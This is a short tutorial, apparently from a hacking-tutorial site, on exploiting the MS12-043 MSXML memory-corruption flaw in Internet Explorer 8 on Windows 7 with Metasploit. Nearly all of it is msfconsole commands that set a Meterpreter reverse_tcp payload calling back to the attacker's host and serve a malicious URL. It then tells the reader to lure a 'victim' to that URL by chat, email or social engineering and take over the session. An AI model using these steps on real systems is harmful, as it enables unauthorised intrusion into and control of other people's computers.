MS12-043 Microsoft XML Core Services MSXML Uninitialized Memory Corruption

This module exploits a memory corruption flaw in Microsoft XML Core Services when trying to access an uninitialized Node with the get Definition API, which may corrupt memory allowing remote code execution.

Exploit Targets

Windows 7

Internet Explorer 8

Requirement

Attacker: Backtrack 5

Victim PC: Windows 7

Open backtrack terminal type msfconsole

Now type use exploit/windows/browser/msxml_get_definition_code_exec

Msf exploit (msxml_get_definition_code_exec)>set payload windows/meterpreter/reverse_tcp

Msf exploit (msxml_get_definition_code_exec)>set lhost 192.168.1.4 (IP of Local Host)

Msf exploit (msxml_get_definition_code_exec)>set srvhost 192.168.1.4 (This must be an address on the local machine)

Msf exploit (msxml_get_definition_code_exec)>set uripath / (The URL to use for this exploit)

Msf exploit (msxml_get_definition_code_exec)>exploit

Now an URL you should give to your victim http://192.168.1.4:8080/

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“